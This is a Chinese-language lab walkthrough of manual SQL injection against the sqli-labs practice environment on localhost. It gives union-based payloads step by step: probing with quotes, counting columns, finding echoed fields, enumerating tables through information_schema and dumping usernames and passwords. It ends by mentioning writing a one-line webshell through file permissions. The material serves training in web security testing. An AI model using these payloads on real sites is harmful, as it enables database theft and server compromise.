手工SQL注入流程 :
1.寻找注入点
功能点
URL注入 一般为get请求
登录框提交 一般为post 请求
搜索栏查询
用户注册
cookie注入:识别用户的唯一标识
主机头:指定请求资源的internet主机和端口号
引用站点头(host):指定获取当前请求的资源
用户代理头(user-agent):确定用户使用的web浏览器。
数据类型
提交方式
2.靶场实战案例
基础的手工注入 SqlLab 1-4
第一步: 根据功能,数据类型,提交方式找注入点
首先在id=1 后面 尝试使用'来进行分割 并输入 and 1=1 来验证 以及 --+ 来过滤后面的内容
代码如下
Id = 1 ' and 1=1 --+
如果没有成功可以使用 " ) 等来进行分割,#进行过滤
反应正常的话使用 1=2 进行进一步确认注入点
第二步 使用order by 拆解字段
证明该表只有 3 个字段
第三步 找回显点
使用union 联合查询注入
http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,2,3 --+
第四步 可以查看到有两个字段有web回显信息,进一步信息收集
http://localhost/sqli-labs-master/Less-1/index.php?id=-1' union select 1,database(),version() --+
拿到数据库的信息
第五步 进行SQL注入
a.找数据库对应的表
从 infromation_schema 系统库下面的table 表查取 数据库 security 的所有表名 table_name
构造 查询语句 union select 1, group_concat(table_name),3 from information_schema.tables where table_schema=database()
并使用 group_concat 函数 去重分组
users表中有账号和密码信息,继续查找字段
b.找users表中所有的列
构造 查询语句 union select 1, group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273
c.从列中拿去信息 password username
http://localhost/sqli-labs-master/Less-2/index.php?id=-1%20union%20select%201,%20(select%20group_concat(username,password)%20%20from%20users),3
3.寻找注入点
利用文件的读写权限,可以写入一句话木马,也可以进一步读取隐私信息